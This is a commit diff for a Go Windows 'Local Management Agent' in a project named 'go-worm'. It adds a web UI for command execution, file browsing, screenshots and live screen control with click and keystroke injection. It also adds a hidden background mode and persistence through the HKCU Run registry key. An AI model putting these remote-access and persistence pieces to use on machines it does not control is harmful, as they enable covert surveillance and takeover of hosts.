||||||
|
document.querySelectorAll("nav button").forEach((button) => {
|
||||||
|
button.addEventListener("click", () => {
|
||||||
|
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
|
||||||
|
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
|
||||||
|
button.classList.add("active");
|
||||||
|
document.getElementById(button.dataset.tab).classList.add("active");
|
||||||
|
if (button.dataset.tab !== "video") {
|
||||||
|
stopVideo();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
document.getElementById("refresh-status").addEventListener("click", () => {
|
||||||
|
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
startupAdd.addEventListener("click", () => {
|
||||||
|
setStartupEnabled(true).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
startupRemove.addEventListener("click", () => {
|
||||||
|
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
document.getElementById("file-list").addEventListener("click", () => {
|
||||||
|
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
document.getElementById("file-up").addEventListener("click", () => {
|
||||||
|
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
document.getElementById("shot-capture").addEventListener("click", () => {
|
||||||
|
captureScreen().catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
videoStart.addEventListener("click", () => {
|
||||||
|
startVideo().catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
videoStop.addEventListener("click", () => stopVideo());
|
||||||
|
videoCanvas.addEventListener("click", (event) => {
|
||||||
|
sendClick(event, "left").catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
videoCanvas.addEventListener("contextmenu", (event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
sendClick(event, "right").catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
document.getElementById("video-send").addEventListener("click", () => {
|
||||||
|
sendVideoText().catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
document.getElementById("video-text").addEventListener("keydown", (event) => {
|
||||||
|
if (event.key === "Enter") {
|
||||||
|
event.preventDefault();
|
||||||
|
sendVideoText().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
document.getElementById("exec-run").addEventListener("click", () => {
|
||||||
|
runCommand().catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
|
||||||
|
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||||
|
})();
|
||||||
@@ -0,0 +1,228 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>Local Management Agent</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
--bg: #f4f5f7;
|
||||||
|
--card: #fff;
|
||||||
|
--text: #1f2937;
|
||||||
|
--muted: #6b7280;
|
||||||
|
--line: #e5e7eb;
|
||||||
|
--accent: #2563eb;
|
||||||
|
--danger: #b91c1c;
|
||||||
|
--ok: #047857;
|
||||||
|
}
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
body {
|
||||||
|
margin: 0;
|
||||||
|
font: 15px/1.45 system-ui, Segoe UI, sans-serif;
|
||||||
|
color: var(--text);
|
||||||
|
background: var(--bg);
|
||||||
|
}
|
||||||
|
header, main { max-width: 1100px; margin: 0 auto; padding: 0 1.25rem; }
|
||||||
|
header {
|
||||||
|
display: flex;
|
||||||
|
align-items: baseline;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 1rem;
|
||||||
|
padding-top: 1.5rem;
|
||||||
|
padding-bottom: 1rem;
|
||||||
|
}
|
||||||
|
h1 { font-size: 1.35rem; margin: 0; }
|
||||||
|
h2 { font-size: 1rem; margin: 0 0 0.85rem; }
|
||||||
|
.badge {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
padding: 0.2rem 0.55rem;
|
||||||
|
border-radius: 999px;
|
||||||
|
background: #e5e7eb;
|
||||||
|
color: var(--muted);
|
||||||
|
}
|
||||||
|
.badge.ok { background: #d1fae5; color: var(--ok); }
|
||||||
|
.badge.bad { background: #fee2e2; color: var(--danger); }
|
||||||
|
nav {
|
||||||
|
max-width: 1100px;
|
||||||
|
margin: 0 auto 1rem;
|
||||||
|
padding: 0 1.25rem;
|
||||||
|
display: flex;
|
||||||
|
gap: 0.4rem;
|
||||||
|
}
|
||||||
|
nav button, .row button, .row select {
|
||||||
|
font: inherit;
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
background: var(--card);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.4rem 0.75rem;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
nav button.active, .row button.primary {
|
||||||
|
background: var(--accent);
|
||||||
|
border-color: var(--accent);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
button:disabled { opacity: 0.45; cursor: default; }
|
||||||
|
.panel {
|
||||||
|
display: none;
|
||||||
|
background: var(--card);
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 10px;
|
||||||
|
padding: 1rem 1.1rem 1.2rem;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
.panel.active { display: block; }
|
||||||
|
.row {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 0.75rem;
|
||||||
|
}
|
||||||
|
input, textarea, select {
|
||||||
|
font: inherit;
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.4rem 0.6rem;
|
||||||
|
}
|
||||||
|
input[type="text"], textarea { flex: 1; min-width: 12rem; }
|
||||||
|
textarea { width: 100%; min-height: 4.5rem; font-family: ui-monospace, Consolas, monospace; }
|
||||||
|
.meta { color: var(--muted); font-size: 0.9rem; }
|
||||||
|
dl {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 10rem 1fr;
|
||||||
|
gap: 0.35rem 0.8rem;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
dt { color: var(--muted); }
|
||||||
|
dd { margin: 0; word-break: break-all; }
|
||||||
|
table { width: 100%; border-collapse: collapse; }
|
||||||
|
th, td { text-align: left; padding: 0.4rem 0.35rem; border-bottom: 1px solid var(--line); }
|
||||||
|
th { color: var(--muted); font-weight: 600; font-size: 0.8rem; }
|
||||||
|
td.name { cursor: pointer; color: var(--accent); }
|
||||||
|
td.name.file { color: var(--text); }
|
||||||
|
pre {
|
||||||
|
margin: 0.5rem 0 0;
|
||||||
|
padding: 0.75rem;
|
||||||
|
background: #0f172a;
|
||||||
|
color: #e2e8f0;
|
||||||
|
border-radius: 8px;
|
||||||
|
overflow: auto;
|
||||||
|
max-height: 22rem;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
}
|
||||||
|
.shots { display: flex; flex-wrap: wrap; gap: 0.75rem; }
|
||||||
|
.shots figure { margin: 0; }
|
||||||
|
.shots img { max-width: 100%; height: auto; border: 1px solid var(--line); border-radius: 8px; }
|
||||||
|
#video-canvas {
|
||||||
|
width: 100%;
|
||||||
|
height: auto;
|
||||||
|
display: block;
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 8px;
|
||||||
|
cursor: crosshair;
|
||||||
|
background: #111;
|
||||||
|
}
|
||||||
|
.error {
|
||||||
|
display: none;
|
||||||
|
max-width: 1100px;
|
||||||
|
margin: 0 auto 1rem;
|
||||||
|
padding: 0.65rem 1.25rem;
|
||||||
|
color: var(--danger);
|
||||||
|
}
|
||||||
|
.error.show { display: block; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>Local Management Agent</h1>
|
||||||
|
<span id="health" class="badge">checking</span>
|
||||||
|
</header>
|
||||||
|
<p id="error" class="error"></p>
|
||||||
|
<nav>
|
||||||
|
<button data-tab="status" class="active">Status</button>
|
||||||
|
<button data-tab="files">Files</button>
|
||||||
|
<button data-tab="screenshot">Screenshot</button>
|
||||||
|
<button data-tab="video">Video</button>
|
||||||
|
<button data-tab="exec">Command</button>
|
||||||
|
</nav>
|
||||||
|
<main>
|
||||||
|
<section id="status" class="panel active">
|
||||||
|
<div class="row">
|
||||||
|
<h2>Host status</h2>
|
||||||
|
<button id="refresh-status" class="primary" type="button">Refresh</button>
|
||||||
|
</div>
|
||||||
|
<dl id="status-fields"></dl>
|
||||||
|
<div class="row" style="margin-top:1rem">
|
||||||
|
<span id="startup-state" class="meta">Startup: —</span>
|
||||||
|
<button id="startup-add" type="button">Add to startup</button>
|
||||||
|
<button id="startup-remove" type="button">Remove from startup</button>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section id="files" class="panel">
|
||||||
|
<div class="row">
|
||||||
|
<input id="file-path" type="text" placeholder="Directory path, e.g. C:\Users">
|
||||||
|
<button id="file-up" type="button">Up</button>
|
||||||
|
<button id="file-list" class="primary" type="button">List</button>
|
||||||
|
</div>
|
||||||
|
<p id="file-meta" class="meta"></p>
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th></tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="file-rows"></tbody>
|
||||||
|
</table>
|
||||||
|
</section>
|
||||||
|
<section id="screenshot" class="panel">
|
||||||
|
<div class="row">
|
||||||
|
<label>Format
|
||||||
|
<select id="shot-format">
|
||||||
|
<option value="png">PNG</option>
|
||||||
|
<option value="jpeg">JPEG</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
|
<label>Quality
|
||||||
|
<input id="shot-quality" type="number" min="1" max="100" value="80" style="width:5rem">
|
||||||
|
</label>
|
||||||
|
<button id="shot-capture" class="primary" type="button">Capture</button>
|
||||||
|
</div>
|
||||||
|
<div id="shot-gallery" class="shots"></div>
|
||||||
|
</section>
|
||||||
|
<section id="video" class="panel">
|
||||||
|
<div class="row">
|
||||||
|
<button id="video-start" class="primary" type="button">Start</button>
|
||||||
|
<button id="video-stop" type="button" disabled>Stop</button>
|
||||||
|
<label>FPS
|
||||||
|
<input id="video-fps" type="number" min="1" max="15" value="5" style="width:4.5rem">
|
||||||
|
</label>
|
||||||
|
<label>Quality
|
||||||
|
<input id="video-quality" type="number" min="1" max="100" value="40" style="width:5rem">
|
||||||
|
</label>
|
||||||
|
<label>Monitor
|
||||||
|
<input id="video-monitor" type="number" min="0" value="0" style="width:4.5rem">
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<canvas id="video-canvas" width="1280" height="720"></canvas>
|
||||||
|
<p id="video-meta" class="meta"></p>
|
||||||
|
<div class="row" style="margin-top:0.75rem">
|
||||||
|
<input id="video-text" type="text" placeholder="Type text for the focused field">
|
||||||
|
<button id="video-send" class="primary" type="button">Send</button>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section id="exec" class="panel">
|
||||||
|
<div class="row">
|
||||||
|
<textarea id="exec-command" placeholder="ipconfig /all"></textarea>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<label>Timeout (sec)
|
||||||
|
<input id="exec-timeout" type="number" min="0" max="120" value="30" style="width:5rem">
|
||||||
|
</label>
|
||||||
|
<button id="exec-run" class="primary" type="button">Run</button>
|
||||||
|
</div>
|
||||||
|
<p id="exec-meta" class="meta"></p>
|
||||||
|
<pre id="exec-out"></pre>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
<script src="/app.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -14,6 +14,9 @@ const (
|
|||||||
MaxImageQuality = 100
|
MaxImageQuality = 100
|
||||||
DefaultExecTO = 30
|
DefaultExecTO = 30
|
||||||
MaxExecTO = 120
|
MaxExecTO = 120
|
||||||
|
StartupValueName = "LocalManagementAgent"
|
||||||
|
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
|
MaxInputText = 4096
|
||||||
)
|
)
|
||||||
|
|
||||||
func EnvOr(name, fallback string) string {
|
func EnvOr(name, fallback string) string {
|
||||||
|
|||||||
@@ -0,0 +1,116 @@
|
|||||||
|
package input
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"unicode/utf16"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
inputMouse = 0
|
||||||
|
inputKeyboard = 1
|
||||||
|
|
||||||
|
mouseLeftDown = 0x0002
|
||||||
|
mouseLeftUp = 0x0004
|
||||||
|
mouseRightDown = 0x0008
|
||||||
|
mouseRightUp = 0x0010
|
||||||
|
|
||||||
|
keyeventfKeyup = 0x0002
|
||||||
|
keyeventfUnicode = 0x0004
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
ErrBadButton = errors.New("button must be left or right")
|
||||||
|
ErrEmptyText = errors.New("text must not be empty")
|
||||||
|
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
procSetCursorPos = user32.NewProc("SetCursorPos")
|
||||||
|
procSendInput = user32.NewProc("SendInput")
|
||||||
|
procSetProcessDPIAware = user32.NewProc("SetProcessDPIAware")
|
||||||
|
)
|
||||||
|
|
||||||
|
type mouseInput struct {
|
||||||
|
Type uint32
|
||||||
|
_ uint32
|
||||||
|
Dx int32
|
||||||
|
Dy int32
|
||||||
|
MouseData uint32
|
||||||
|
Flags uint32
|
||||||
|
Time uint32
|
||||||
|
ExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type keybdInput struct {
|
||||||
|
Type uint32
|
||||||
|
_ uint32
|
||||||
|
Vk uint16
|
||||||
|
Scan uint16
|
||||||
|
Flags uint32
|
||||||
|
Time uint32
|
||||||
|
ExtraInfo uintptr
|
||||||
|
_ [8]byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func EnableDPIAwareness() {
|
||||||
|
_, _, _ = procSetProcessDPIAware.Call()
|
||||||
|
}
|
||||||
|
|
||||||
|
func Click(x, y int, button string) error {
|
||||||
|
down, up, err := mouseFlags(button)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
ok, _, callErr := procSetCursorPos.Call(uintptr(x), uintptr(y))
|
||||||
|
if ok == 0 {
|
||||||
|
return callErr
|
||||||
|
}
|
||||||
|
inputs := []mouseInput{
|
||||||
|
{Type: inputMouse, Flags: down},
|
||||||
|
{Type: inputMouse, Flags: up},
|
||||||
|
}
|
||||||
|
return sendMouse(inputs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TypeText(text string) error {
|
||||||
|
if text == "" {
|
||||||
|
return ErrEmptyText
|
||||||
|
}
|
||||||
|
units := utf16.Encode([]rune(text))
|
||||||
|
inputs := make([]keybdInput, 0, len(units)*2)
|
||||||
|
for _, unit := range units {
|
||||||
|
inputs = append(inputs,
|
||||||
|
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode},
|
||||||
|
keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return sendKeys(inputs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func mouseFlags(button string) (down, up uint32, err error) {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(button)) {
|
||||||
|
case "", "left":
|
||||||
|
return mouseLeftDown, mouseLeftUp, nil
|
||||||
|
case "right":
|
||||||
|
return mouseRightDown, mouseRightUp, nil
|
||||||
|
default:
|
||||||
|
return 0, 0, ErrBadButton
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendMouse(inputs []mouseInput) error {
|
||||||
|
n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0])))
|
||||||
|
if n == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendKeys(inputs []keybdInput) error {
|
||||||
|
n, _, err := procSendInput.Call(uintptr(len(inputs)), uintptr(unsafe.Pointer(&inputs[0])), uintptr(unsafe.Sizeof(inputs[0])))
|
||||||
|
if n == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Detach() error {
|
||||||
|
if AlreadyRunning() {
|
||||||
|
return fmt.Errorf("agent already running")
|
||||||
|
}
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer nul.Close()
|
||||||
|
|
||||||
|
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
|
||||||
|
cmd.Stdin = nul
|
||||||
|
cmd.Stdout = nul
|
||||||
|
cmd.Stderr = nul
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
||||||
|
}
|
||||||
|
return cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func stripBackground(args []string) []string {
|
||||||
|
out := make([]string, 0, len(args))
|
||||||
|
for _, arg := range args {
|
||||||
|
name := strings.TrimLeft(arg, "-/")
|
||||||
|
lower := strings.ToLower(name)
|
||||||
|
if lower == "background" || strings.HasPrefix(lower, "background=") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, arg)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -28,6 +28,19 @@ func Acquire() (*Guard, error) {
|
|||||||
return &Guard{handle: h}, nil
|
return &Guard{handle: h}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func AlreadyRunning() bool {
|
||||||
|
name, err := windows.UTF16PtrFromString(config.MutexName)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
h, err := windows.OpenMutex(windows.SYNCHRONIZE, false, name)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
windows.CloseHandle(h)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
func (g *Guard) Close() {
|
func (g *Guard) Close() {
|
||||||
if g == nil || g.handle == 0 {
|
if g == nil || g.handle == 0 {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -38,4 +38,19 @@ type ExecResponse struct {
|
|||||||
type CapturedImage struct {
|
type CapturedImage struct {
|
||||||
ContentType string
|
ContentType string
|
||||||
Data []byte
|
Data []byte
|
||||||
|
Left int
|
||||||
|
Top int
|
||||||
|
Width int
|
||||||
|
Height int
|
||||||
|
}
|
||||||
|
|
||||||
|
type ClickRequest struct {
|
||||||
|
X int `json:"x"`
|
||||||
|
Y int `json:"y"`
|
||||||
|
Button string `json:"button"`
|
||||||
|
Monitor int `json:"monitor"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type TextRequest struct {
|
||||||
|
Text string `json:"text"`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,6 +13,8 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||||
|
|
||||||
var (
|
var (
|
||||||
user32 = syscall.NewLazyDLL("user32.dll")
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||||
@@ -68,17 +70,78 @@ func Capture(format string, quality int) ([]models.CapturedImage, error) {
|
|||||||
}
|
}
|
||||||
result := make([]models.CapturedImage, 0, len(monitors))
|
result := make([]models.CapturedImage, 0, len(monitors))
|
||||||
for _, monitor := range monitors {
|
for _, monitor := range monitors {
|
||||||
img, err := captureRect(monitor)
|
frame, err := captureAndEncode(monitor, format, quality)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
result = append(result, frame)
|
||||||
|
}
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
if err := attachInputDesktop(); err != nil {
|
||||||
|
return models.CapturedImage{}, err
|
||||||
|
}
|
||||||
|
monitors, err := enumerateMonitors()
|
||||||
|
if err != nil {
|
||||||
|
return models.CapturedImage{}, err
|
||||||
|
}
|
||||||
|
if index < 0 || index >= len(monitors) {
|
||||||
|
return models.CapturedImage{}, ErrMonitorNotFound
|
||||||
|
}
|
||||||
|
return captureAndEncode(monitors[index], format, quality)
|
||||||
|
}
|
||||||
|
|
||||||
|
func MonitorCount() (int, error) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
if err := attachInputDesktop(); err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
monitors, err := enumerateMonitors()
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return len(monitors), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func MonitorBounds(index int) (left, top, width, height int, err error) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
if err := attachInputDesktop(); err != nil {
|
||||||
|
return 0, 0, 0, 0, err
|
||||||
|
}
|
||||||
|
monitors, err := enumerateMonitors()
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, 0, 0, err
|
||||||
|
}
|
||||||
|
if index < 0 || index >= len(monitors) {
|
||||||
|
return 0, 0, 0, 0, ErrMonitorNotFound
|
||||||
|
}
|
||||||
|
r := monitors[index]
|
||||||
|
return int(r.Left), int(r.Top), int(r.Right - r.Left), int(r.Bottom - r.Top), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureAndEncode(monitor rect, format string, quality int) (models.CapturedImage, error) {
|
||||||
|
img, err := captureRect(monitor)
|
||||||
|
if err != nil {
|
||||||
|
return models.CapturedImage{}, err
|
||||||
|
}
|
||||||
data, contentType, err := encodeImage(img, format, quality)
|
data, contentType, err := encodeImage(img, format, quality)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return models.CapturedImage{}, err
|
||||||
}
|
}
|
||||||
result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
|
return models.CapturedImage{
|
||||||
}
|
ContentType: contentType,
|
||||||
return result, nil
|
Data: data,
|
||||||
|
Left: int(monitor.Left),
|
||||||
|
Top: int(monitor.Top),
|
||||||
|
Width: int(monitor.Right - monitor.Left),
|
||||||
|
Height: int(monitor.Bottom - monitor.Top),
|
||||||
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func attachInputDesktop() error {
|
func attachInputDesktop() error {
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package startup
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Enabled() bool {
|
||||||
|
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
_, _, err = k.GetStringValue(config.StartupValueName)
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Enable() error {
|
||||||
|
command, err := commandLine()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
return k.SetStringValue(config.StartupValueName, command)
|
||||||
|
}
|
||||||
|
|
||||||
|
func Disable() error {
|
||||||
|
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, registry.ErrNotExist) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
err = k.DeleteValue(config.StartupValueName)
|
||||||
|
if errors.Is(err, registry.ErrNotExist) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func commandLine() (string, error) {
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
exe, err = filepath.Abs(exe)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return `"` + exe + `" -background`, nil
|
||||||
|
}
|
||||||
@@ -4,16 +4,30 @@
|
|||||||
//
|
//
|
||||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
||||||
//
|
//
|
||||||
// The binary is a normal console application. A CMD window appears on launch
|
// A CMD window appears on launch. Use -background to start without a window:
|
||||||
// and prints the listen address. Press Ctrl+C to stop.
|
//
|
||||||
|
// localagent.exe -background
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"flag"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
background := flag.Bool("background", false, "run without a console window")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *background {
|
||||||
|
if err := instance.Detach(); err != nil {
|
||||||
|
helpers.Log.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
a, err := agent.New()
|
a, err := agent.New()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
helpers.Log.Fatalf("%v", err)
|
helpers.Log.Fatalf("%v", err)
|
||||||
|
|||||||
Reference in New Issue
Block a user